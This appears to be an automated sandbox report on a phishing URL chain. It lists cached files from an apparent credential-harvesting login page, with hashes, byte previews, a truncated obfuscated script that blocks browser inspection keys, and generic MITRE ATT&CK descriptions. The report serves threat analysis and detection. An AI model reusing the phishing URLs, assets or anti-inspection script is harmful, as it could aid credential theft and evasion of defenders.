URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlsIumpVb9ffBIFDc8jKv8SEAmfTr21ye_IQhIFDcWTxCQSEAkTWpJ_u8eoPBIFDXVfuUESEAnWqsOFA_SrwRIFDXVfuUE=?alt=proto
Preview:	CgkKBw3PIyr/GgAKCQoHDcWTxCQaAAoJCgcNdV+5QRoACgkKBw11X7lBGgA=

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18536, version 1.0
Category:	downloaded
Size (bytes):	18536
Entropy (8bit):	7.986571198050597
Encrypted:	false
SSDEEP:
MD5:	8EFF0B8045FD1959E117F85654AE7770
SHA1:	227FEE13CEB7C410B5C0BB8000258B6643CB6255
SHA-256:	89978E658E840B927DDDB5CB3A835C7D8526ECE79933BD9F3096B301FE1A8571
SHA-512:	2E4FB65CAAB06F02E341E9BA4FB217D682338881DABA3518A0DF8DF724E0496E1AF613DB8E2F65B42B9E82703BA58916B5F5ABB68C807C78A88577030A6C2058
Malicious:	false
Reputation:	unknown
URL:	https://fonts.jimstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......Hh..........H..............................Z..\|.`..J.T..<.....H..U..Z...x.6.$..0. ..t. ..I....p.0.VU.......1....AQ...d..x.....R..4.-.c..C$fUc.c..IX..@..~g.xs.....%...O...eJ.w..U.\|.......%..{.......U+..T#.S......`.n.....V.w.4..~P"..zk.%..../........=3...F.........V.FL..;Bc.........A.Uk.U1.b!Y.BH.DL...s.s...F.m.9a..GJ..1..#.`m5..DI..X5#.........B.Akm.....&..0...{.L.....G......-(.......O4.@3....=......f..l...$.....j..NO...e.Y.tJ2J>F.(.c....08..e...~....D2S7s:.G'Gm........!.7.........r.c.`,.....~.).......c>1.......Y.g2^...T-1.7./r./....>...g.ov@u.?.U.+._...'M..,.,g....!g..9."..yBF.#r+.Ps...%.d=....U...5.b.$:`.4R.II.<A....Q)....e...k.....M.8.z....+.....5}..F........F.d._...].~-](.Lf....Y..W....;-z...;. .@x._v../.%UIm....=s...P.C....G...^..Q.!g.!b._.P....at..?.}....t.z...O(..Y6..R.2.X....k.R..K.gw(.F.K?m..R...7....dj..7. .r.U..be.4......8.].w.B..B......Y..:..8.N..U...NEm...\.^q..f}.......{..6.". ...y-.Y...N.+.M E..`......R.$T

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 82 x 45, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:
MD5:	A937F05DABEFBA26BD0FCAF811A31C85
SHA1:	75B8323B3721D72630F417220CF07B4F5108B3D1
SHA-256:	15E5DFBAD3DE1E903B137A6B48628C2759D5491442D6D6967DB415CC002B88E2
SHA-512:	F0BC2970759FA930A882977459EEC682B31316186DA2094818879E34DD57881D0EB09143ABA21C971555D5F3DE95A6423CB875750CB8E32133AE1CA5497BA559
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...R...-......:......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 51 x 42, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1229
Entropy (8bit):	7.795282114082737
Encrypted:	false
SSDEEP:
MD5:	E198D3D3F75FF270E4DE1C36E0BF4A8A
SHA1:	C9B68D5472B2B32B46CB0922CEC0FEA76ABB1DC3
SHA-256:	029B50BBBC9BCE1593AE21671033736AE44111EE275E346B6316AE508DD61685
SHA-512:	24A9385BB7AA23B8656843591B34200EDFBB13AE77062780892897C77005F299D31CD29325D62D48F2230DF016C98643D8BD0CB02CBEEDA08E7AF78A4EFC67F6
Malicious:	false
Reputation:	unknown
URL:	https://aweitapp.com/zeng/advance/auth/page/images/verify_sms.png
Preview:	.PNG........IHDR...3.........xcy....sRGB.........IDAThC..K+W....Q...P.....b....N2...nZZJW]va.....A]vU..A7....h...B)..n..F..5.d......G:30d&.s...{....vp.%".....~h...^...Oqm..8.6.E...$I..........&.^/U.U..0.....?uX...zy.R1.......\...5.Q.......a........_w..4M.G..&...............k...R.F.e...YF.J.$I.@..`.8.~.".........,...k.0B.r9844D.L..3;;k..E.p{{.......r.?,.J.......6GFF.?...:.FQ...~.....tpp.QU....R.f...a..L........A6........(J...<CR.u...l&.`gg..0.1..b..>.....#.r^..g..a....SW..\| I.+`.c..Q.0..y..3..........[`. ..j0^./........MD...(.r.A...v.u....cgD4...".=q....=n..Xa.....D6sj..........a..m3..q..Isss...)...X..6.cW..e.CEz..R...:......EQ.3..D.QK7...i.#`.c...I$.&....S`..$G..Y.....R..-A....f..h.C.}..1f...q3......Q...c.q..D.......RL.>..p.8.........Y.] (...J!R/.3C0......[6......b.....0....oR:S...../.0:......P.v.Dh.~...H&..J.....y.............I.R....\|vvvf.t.. ...q...P(....!QI..b..i{.[\\.,..I...x$..9.N.......A...f...E..i\|.z..W...t..F ..A,...

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7885)
Category:	downloaded
Size (bytes):	17893
Entropy (8bit):	5.462106560590576
Encrypted:	false
SSDEEP:
MD5:	4167CA0E6CB607659B044553EDBA7728
SHA1:	B5F57FD5FD0598D8C7CDD345E8B831F9DABCF800
SHA-256:	29F20B60A484C85B90399FACD7D0158A1703009F24A6060F4E58703B8A7CED8D
SHA-512:	D35FB5838973C2537B7B4BF2C8F8C7956953ECC66F44F75FFF766E132F1832206C37A5A834981BEC8B3DA22D1B9C3AFDA9404C4866FA5410DFDD64A636C3DB79
Malicious:	false
Reputation:	unknown
URL:	https://monaghans.jimdosite.com/
Preview:	<!doctype html>.<html lang="en">. <head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">. <meta name="format-detection" content="telephone=no">. <link rel="preconnect" href="https://jimdo-dolphin-static-assets-prod.freetls.fastly.net/renderer/" crossorigin>. <link rel="preconnect" href="https://jimdo-storage.freetls.fastly.net/" crossorigin>. <link rel="preconnect" href="https://fonts.jimstatic.com/" crossorigin>. <link rel='shortcut icon' type='image/png' href="https://jimdo-dolphin-static-assets-prod.freetls.fastly.net/renderer/static/default-website-favicon.1a874ea70dbf3a4b0e0e..png" />. <title>Home \| Monaghans</title>. <script>. window.__dolphin_environment__ = 'prod';. </script>. . <meta name="robots" content="noindex, nofollow, noarchive"><meta name="twitter:card" content="summary_large_image">.<meta property="og:type" content="website">.<meta property="og:title" content="Home \| Monaghans">.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	7.808470583085035
Encrypted:	false
SSDEEP:
MD5:	333EE830E5AB72C41DD9126A27B4D878
SHA1:	12D8D66EBB3076F3D6069E133C3212F97C8774E1
SHA-256:	8702292CBC365E9F0488143E2B309B85EFE09C61FD2E0A2E21C53735A309313C
SHA-512:	3413ED624241877C1D44FEE23FD37745CB214C12AE73FACFAFA07B47FA1CB9E5DAA3CB7F542564E04075FFE8BA744C962FBDD78F08A643A90C0EC1118C05BBF8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...l................?IDAThC.X.n.A..K.. ..H8.....7P..p...&......>..4.'.y.`$Z...$1..9..;...w.\|...zvvv.............b..Y....B...Dq..&\....pe..r.X.P...3.n...M.j.....+..r}}.t:...fa.mmm5U........)dwww...j...q<<<<L.}ggg.......k.O.?....^.gE.6....B..%U..w#H...y....~......h.....Q.E;.....T...E.W..X=..{.;..+.. ..`.(:2...A..U.....Y....z..l.r.S..<K...x.E.... .....U.,.`.....<::............MSiE.2w.!z.T...PWl.).0...Z....Z.'~.5zP.o..-. ......q..x..w.....y......5\|v..i...........@w.c...j..3....w,/.3.).....u.......b.}..R........ `......`mH$.U..B.H1...jx..3..$k ...........Z......4....A.>..X.a/...0N.&?q..........F#w&o."L:...l.c...x.P...@e..&.&\|Y...!.i....gac..1C.....I..t...e~q.&.6.2B.}.V.p.B.."...'..M..s.s.....V%-.?8yC.?m......z...&]\.VN.s....j.`....kY.....64.Y..(_ea[.r...1B.......5....i.u.......aQ.+z.x.......<,~..a...z,.I.T.b.P.^.`...y.58..,\|Q...u.-.._....m.1...\|k.j.7.,x.....X....ez..a....X...\E.$..-...s.../.9L.9.(9..U...x$#.C...Nm...p.....J...

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 58, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5096
Entropy (8bit):	7.803339345841521
Encrypted:	false
SSDEEP:
MD5:	804F72421862425A01D9697F9F36C9A2
SHA1:	B73DF25467E364FB229E7715E5393B5931491977
SHA-256:	112D2EAC21572A13C7DC55466DDD3091E28829611716C911714C05D183CFC56C
SHA-512:	0F4D8A9BF24D190311D5DE9FD9F8A08E2BC9848230DE53570A264DB00711080292785CD59231D4B8BCBE9D7BBEDF470EFEBE832AE7212BA04524B4C00552DCDA
Malicious:	false
Reputation:	unknown
URL:	https://aweitapp.com/zeng/advance/auth/page/images/appnotif2.png
Preview:	.PNG........IHDR...2...:......l.....miCCPICC Profile..H..W.XS...[.... .... R.H....^..!.$......]Tp."..].Ql+ v....bAAY.u...&$....}s.3g.S.L.=..?..<T..\|I.,!<.9:-.I... .m@.F<.\....P....w7.5.k.J....W....\|....g...\|.O....Ke....z...R%........J%.V..J...G.m..8._.@.........B~6......D ..@..q._..@..}X~.D%.....K!...V.w............~....y...gi....).\|..A.."..........T..$.1..ZC.A,P...."RD$..Q....... v..B. 6.8L.....gf.....N..p. 6.x.P.....$......e.8l..<O..W.."7....#.r...V.().b....... v..&F.mF..81.62E.2~k.....`.?V.%.KP......6....5._ J.P..;.....s...%.....\|t.@..aH.w.C(INT.\|...'....i^......+...{....k...9U.x.. .I.'^...S./...B..(....A...t.w._..0..2....Y..X..?#..DP...H....g.....jUWg..?[.".<.8.D.<.[.J2.-.<...?.....x..P..{......5.j.b.#.>`I.%..#.aD.......hx....g.>.y\|.'<#....n...w&..e?D9..A.0u-2...n.9=.`...Cf..7........gO...VV.....2..i...d.<..D..q..... .....G.k.`.9.3?..\|W}..G.h.-..`.....V...q..k.*...z....%...y....S.TVR.Z....Y5W .R.<x...2q....o.!.+..c...y..\|.......C...o.......

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 73, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4082
Entropy (8bit):	7.932033069392358
Encrypted:	false
SSDEEP:
MD5:	F69BD1A8C5D18C08C140445DC8DBC7E2
SHA1:	ED7CBF47983BD9B39D188A531C350C3B3D05DB0E
SHA-256:	C6E325A690B4378B2C1E25F604A4E1F197910F75B55218A495FACFF076ADF97B
SHA-512:	F411945CF6124CA7FC7547F647A47180E87FA5670B7F1EAA85865122B12C07F0E97F708223B5371D056AA648563F79268E17EA2D8B313A51479E4E05C19407A6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...=...I........>....sRGB.........IDATx^.[{P.W.O@@.....u,.W.m...H..SGg.qv...#..........DA."...k...:"....P......ug....@....^>.....fbLr..w..u/b.$?....p:.............EO.>.V....M.:U$..E+V......[.ry.$.$.O....]Z.....;w..}..($$D444.-.....L..."88X422"....I$..TTT.KII.>....tsss.G.}t....2.Y.(.=....9((...._......g.\YY.A.R...\|.@..rSCCC2......I......3...tY....o.qS@G..7.l6y.....T}2888....^.4...%.%-{......w.&66..S...b....f..T.......d....q2_............A..H.RQoo/g.555oi4......V..6l.;..(...w.D.I..,Y..A...h.O.6.%..'.....z.Z...+p.AK$...(0.2.7..g...<90.... i[..0....=.N.R.T.......Z...Z.Zr4`..i...!.e.B`X.M.(..;..hM.Ry...n.+.}...E.W..%.HD}}}.......t....a.^_?{..[YYY_'$$p!.`0.B.555.M&...ad=d.d-.C...V..B..-p.5....}..`.`.L......1<...}]QQ.K.cr......X82.A...!P8=.T:.p8...f.x.Z.P.......9sf...W!..3g.tuu..!...vFF......*Y...X..w.>}..4o...tddd...F......EFF.8.......!M.......y``...!.!.p..........w0X..A.QQQ.O.<..F........l...fsX....4...-..N......<6.2;...`.......-

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2804)
Category:	dropped
Size (bytes):	2805
Entropy (8bit):	5.420340244119878
Encrypted:	false
SSDEEP:
MD5:	0CB699A5581C3F985C95D7622A448B27
SHA1:	22E6428F3893AB5F272C4A4D7C694CC0F9C67E20
SHA-256:	D156C15C56A07666D0DE4E518C4960DA11648012D8B0ADB6AD0D549A45594E30
SHA-512:	48D31F0AAF970B87041039924F4EB357D4F56CE7524FAA829D62ED5E8BD22449F11B33AF91EB4125DEAE965FC99241184764A9D256932DB1BC31F0FA7785F7BA
Malicious:	false
Reputation:	unknown
Preview:	function _0x506b(_0x52d135,_0x2abb60){const _0x296419=_0x2964();return _0x506b=function(_0x506b4f,_0xc1d7be){_0x506b4f=_0x506b4f-0xc5;let _0x2d424f=_0x296419[_0x506b4f];return _0x2d424f;},_0x506b(_0x52d135,_0x2abb60);}const _0x2d79db=_0x506b;function _0x2964(){const _0x656d5d=['517468euUvch','16950EGNhgN','Inspect\x20element\x20attempt\x20mitigated\x20(Ctrl+Shift+I).','Inspect\x20element\x20attempt\x20mitigated\x20(Ctrl+Shift+C).','ctrlKey','contextmenu','224JURqQa','4158816MoNdKj','4TRBLDd','Inspect\x20element\x20attempt\x20mitigated\x20(F12).','ZX983','preventDefault','248112xvRdHJ','keyCode','2636682ItKhpn','62760XQSWbN','error','addEventListener','3474275OIjssd','shiftKey','keydown','3564bVGTCp'];_0x2964=function(){return _0x656d5d;};return _0x2964();}(function(_0x499840,_0x461de1){const _0x3f1eea=_0x506b,_0x4f9def=_0x499840();while(!![]){try{const _0x13250a=-parseInt(_0x3f1eea(0xd0))/0x1*(-parseInt(_0x3f1eea(0xc8))/0x2)+parseInt(_0x3f1eea(0xd7))/0x3+-parseInt(_0x3f1eea(0xcf))/0x4+

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 49 x 63, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6626
Entropy (8bit):	7.863868068132476
Encrypted:	false
SSDEEP:
MD5:	3AFF8064BB4CA017473290B5E3B9F949
SHA1:	D3F110D0C60CD21D3F7A2725157FC419F5B9DD99
SHA-256:	153A445447F6DC712D29916BE3B172055729D7E132B5E75041C34BCF4AF19951
SHA-512:	D785FDF9B9E7345A23803E2047ED2F749390E92CB9E2167B3B8F1D05562B4A1D9DF46027B390D5BD90E9D78FAF244E85E13FE2237C91888662E30A56C4AFD885
Malicious:	false
Reputation:	unknown
URL:	https://aweitapp.com/zeng/advance/auth/page/images/info.png
Preview:	.PNG........IHDR...1...?.....I. l...miCCPICC Profile..H..W.XS...[.... .... R.H....^..!.$......]Tp."..].Ql+ v....bAAY.u...&$....}s.3g.S.L.=..?..<T..\|I.,!<.9:-.I... .m@.F<.\....P....w7.5.k.J....W....\|....g...\|.O....Ke....z...R%........J%.V..J...G.m..8._.@.........B~6......D ..@..q._..@..}X~.D%.....K!...V.w............~....y...gi....).\|..A.."..........T..$.1..ZC.A,P...."RD$..Q....... v..B. 6.8L.....gf.....N..p. 6.x.P.....$......e.8l..<O..W.."7....#.r...V.().b....... v..&F.mF..81.62E.2~k.....`.?V.%.KP......6....5._ J.P..;.....s...%.....\|t.@..aH.w.C(INT.\|...'....i^......+...{....k...9U.x.. .I.'^...S./...B..(....A...t.w._..0..2....Y..X..?#..DP...H....g.....jUWg..?[.".<.8.D.<.[.J2.-.<...?.....x..P..{......5.j.b.#.>`I.%..#.aD.......hx....g.>.y\|.'<#....n...w&..e?D9..A.0u-2...n.9=.`...Cf..7........gO...VV.....2..i...d.<..D..q..... .....G.k.`.9.3?..\|W}..G.h.-..`.....V...q..k.*...z....%...y....S.TVR.Z....Y5W .R.<x...2q....o.!.+..c...y..\|.......C...o.......

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with very long lines (496)
Category:	downloaded
Size (bytes):	7021
Entropy (8bit):	4.874482932483438
Encrypted:	false
SSDEEP:
MD5:	EEC1FE57631C3131ECAB62E7E23BD3A3
SHA1:	C7EC2AC57DA9CC7D4D1C8377D120C036E554596C
SHA-256:	9A39C818CE6292F1BF464FD5DD438DFCB6170373DB5C229FE7EA7DC77C37B0EF
SHA-512:	399DF7542131608C1296427555967850FCF56CDB8501A00D11D9C45B7AFF5ABEBD6E33D13A7F1DB8C0828057D31C59308E3E9B9C7D281FBDAD4AB37549A93F5C
Malicious:	false
Reputation:	unknown
URL:	https://aweitapp.com/zeng/advance/auth/page/styles/app.css
Preview:	* {. padding: 0;. margin: 0;. box-sizing: border-box;. font-family: "Segoe UI", "Helvetica Neue", "Lucida Grande", "Roboto", "Ebrima", "Nirmala UI", "Gadugi", "Segoe Xbox Symbol", "Segoe UI Symbol", "Meiryo UI", "Khmer UI", "Tunga", "Lao UI", "Raavi", "Iskoola Pota", "Latha", "Leelawadee", "Microsoft YaHei UI", "Microsoft JhengHei UI", "Malgun Gothic", "Estrangelo Edessa", "Microsoft Himalaya", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Tai Le", "Microsoft Yi Baiti", "Mongolian Baiti", "MV Boli", "Myanmar Text", "Cambria Math";.}..html,.body {. background-color: #e2e5d3;. color: #1b1b1b;.}..section {. display: table-cell;. vertical-align: middle;. height: 100vh;. width: 1000rem;. max-width: 100%;.}.../* Wrapper styling */...auth-wrapper {. position: relative;. max-width: 440px;. width: calc(100% - 40px);. padding: 44px;. margin: auto;. margin-bottom: 28px;. background-color: #fff;. -webkit-box-shadow: 0 2px 6px rgba

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x81, components 3
Category:	dropped
Size (bytes):	2913
Entropy (8bit):	7.085724312937474
Encrypted:	false
SSDEEP:
MD5:	CDEAF92CE81730893807A21D8C8613ED
SHA1:	540CC0BE8D969824F0B987F95D59585780FB3640
SHA-256:	00042792777EC22816A408039DF9C19EB84BFE8E0B78A3E2D0818D3240552D5B
SHA-512:	0B210A5627EBA1626C6734CFAE786DBE82BF22A99EE0699A537CA2B71F9273C233A0957A7783D7EDE2E09A682412679F05715C1F2505E4C5D1BF11748DAF0A9A
Malicious:	false
Reputation:	unknown
Preview:	......JFIF..............ICC_PROFILE.......lcms....mntrRGB XYZ .........).9acspAPPL...................................-lcms................................................desc.......^cprt...\....wtpt...h....bkpt...\|....rXYZ........gXYZ........bXYZ........rTRC.......@gTRC.......@bTRC.......@desc........c2..................................................................................text....FB..XYZ ...............-XYZ ...........3....XYZ ......o...8.....XYZ ......b.........XYZ ......$.........curv...............c...k...?.Q.4!.).2.;.F.Qw].kpz....\|.i.}...0.....C............................."......".$...$.6&&6>424>LDDL_Z_\|\|....C............................."......".$...$.6&&6>424>LDDL_Z_\|\|.......Q...."...............................................................................B&......-[g......!*y.......5a.].u.8.`....y.$.z.......V&S...5.~.+u[.............&.vG./.L.5..GW..j....$d..F..-+.y'Es.XF...Ku.<.Nl."yl...................$..........................!0@.#1AP............

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8798), with no line terminators
Category:	dropped
Size (bytes):	8798
Entropy (8bit):	5.742370534503493
Encrypted:	false
SSDEEP:
MD5:	93F8859BC7D7C2E3AA66D469DFB317C8
SHA1:	C2D6BA16BFDEAE29961B971CA39CEBADC4CC4D5D
SHA-256:	CB436B64DF31234D779B06AED2A9F8008715AAA2CAFC8C9D0DCCA9E02D15F159
SHA-512:	031E3E5018E53118CFA479F288A3C13C588ADE397D1776C14D251BDCF53B62788EEC3C9F2ADD17CC167D6A57EDAD99386C92EA89A8EC6DA64AABBD5D3FAE81BC
Malicious:	false
Reputation:	unknown
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(W,h,i,j,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=parseInt(V(235))/1+parseInt(V(288))/2(parseInt(V(202))/3)+-parseInt(V(319))/4(-parseInt(V(221))/5)+parseInt(V(224))/6(parseInt(V(246))/7)+-parseInt(V(267))/8+parseInt(V(260))/9(-parseInt(V(272))/10)+-parseInt(V(271))/11*(parseInt(V(227))/12),f===d)break;else e.push(e.shift())}catch(E){e.push(e.shift())}}(a,960179),h=this\|\|self,i=h[W(244)],j=function(X,d,e,f){return X=W,d=String[X(220)],e={'h':function(E){return null==E?'':e.g(E,6,function(F,Y){return Y=b,Y(222)[Y(217)](F)})},'g':function(E,F,G,Z,H,I,J,K,L,M,N,O,P,Q,R,S,T,U){if(Z=X,null==E)return'';for(I={},J={},K='',L=2,M=3,N=2,O=[],P=0,Q=0,R=0;R<E[Z(310)];R+=1)if(S=E[Z(217)](R),Object[Z(234)][Z(279)][Z(252)](I,S)\|\|(I[S]=M++,J[S]=!0),T=K+S,Object[Z(234)][Z(279)][Z(252)](I,T))K=T;else{if(Object[Z(234)][Z(279)][Z(252)](J,K)){if(256>K[Z(290)](0)){for(H=0;H<N;P<<=1,Q==F-1?(Q=0,O[Z(275)](G(P)),P=0):Q++,H++);for(U=K[Z(290)](0),H

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 8000, version 1.0
Category:	downloaded
Size (bytes):	8000
Entropy (8bit):	7.97130996744173
Encrypted:	false
SSDEEP:
MD5:	72993DDDF88A63E8F226656F7DE88E57
SHA1:	179F97EC0275F09603A8DB94D4380EB584D81CD5
SHA-256:	F4E80D9DFD374D02989B87A27B5ED4CB78FBB177C27F1478E9A8B0AFB7513149
SHA-512:	7C20165F9D22A86341E841FD58526209017DCDE2AFE2D0D2A89FE853D95DC69F658D25CF798C71F452DAB09843FC808C1AE87A60B1284134163ABF5A1D93E50A
Malicious:	false
Reputation:	unknown
URL:	https://fonts.jimstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2
Preview:	wOF2.......@......?@.................................`..T..t...6..6.$..h. ..T.....1E.r.8...KD......2.>L.......0..c.h...y_)s...N..(._C,/.v...7B...Z..gT@....u*.\t.9....{.&.;<...j.2.H-...A.S......E..)..f.Y8vuw^.^_.n{.Z..U.h..Kcm.........E..........'.J.-.-.......=.."...E...../R.8P....>?.]...R..Ag:.Pt..j..s..pG. .!f?.Q.T.".O.....D.r......3>gJN!V.\.!....+.......X.B.v....c9.&iW-[.,.. ...Q.k%I.s.%...d...8q..._~.C.n".v0..6B.eT..?..7.....l....3..7...M...5......k......^.....F.v~\|.....3N=.....[.!......}....F(...fA..c)0X$,FYL..=).(h<4...M5..<3.c....K/.{.p....3+'W...Z.[..;.w.....X....nx..v.(c;._.W......\|.b.....{...9..A6...V\|.N...Z?+\|H/.#.W%.._.8,...>._..w...RP..-.?.k7X..".._S.3,J.........&.8Gs.?yH.Yx......I_....._o.0K......(e.Q.W....=...J.7.\k.n.pd.....s..%...sD......_..&-...(.7..6.U..&<~8...9......uV..\|h.#m\.d./!....s.......b.j. ."...wX...B.`..Bj=......VnM....p..k.%..U.F..-VN).Y........_..W.p...B..\|.j..f..7....).~....n......c.3....t.......s..>...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65458)
Category:	dropped
Size (bytes):	5944906
Entropy (8bit):	5.613963584877097
Encrypted:	false
SSDEEP:
MD5:	B96C3C7D1244E87AB4F16AC94DDD4254
SHA1:	6ABC794A482DF8DB01E2EA3F33DB367D2B7255F9
SHA-256:	CF475C968913DCF3733BAD871B90091FCEA321EF0722038749F596D33A0590F8
SHA-512:	D84B5A6296D73D37FBD67C1204D2C0477A0C58CD88F5FBCCC2EB36352A8DAFCE100A28553D7F7AFD870FDC488782499099C816F99A733F48D746F3C4AB6ABE94
Malicious:	false
Reputation:	unknown
Preview:	/! For license information please see 9b2bbfa725f4f1d92084.js.LICENSE.txt /.(()=>{var e,t,n,i,a={58695:(e,t,n)=>{"use strict";n(33893).Cookie;var i=n(76046);t.u5=i.CKies,i.CookieOptions,i.CookieType},76046:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i,a,o=n(33893);!function(e){e.NECESSARY="necessary",e.FUNCTIONAL="functional",e.PERFORMANCE="performance",e.MARKETING="marketing"}(i=t.CookieType\|\|(t.CookieType={})),function(e){e.ALLOW="allow",e.DENY="deny"}(a=t.CookieOptions\|\|(t.CookieOptions={})),t.CONFIG_EXPIRATION=31536e6;var r=function(){function e(){}return e.getExpireDate=function(){var e=new Date;return e.setTime(e.getTime()+t.CONFIG_EXPIRATION),e},e.key=function(e){return"ckies_"+e},e.use=function(e){return e===i.NECESSARY\|\|(this.isOptIn()?o.Cookie.get(this.key(e))===a.ALLOW:o.Cookie.get(this.key(e))!==a.DENY)},e.deny=function(e){this.set(e,a.DENY)},e.allow=function(e){this.set(e,a.ALLOW)},e.useNecessary=function(){return this.use(i.NECESSARY)},e.

Static File Info

⊘No static file info

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

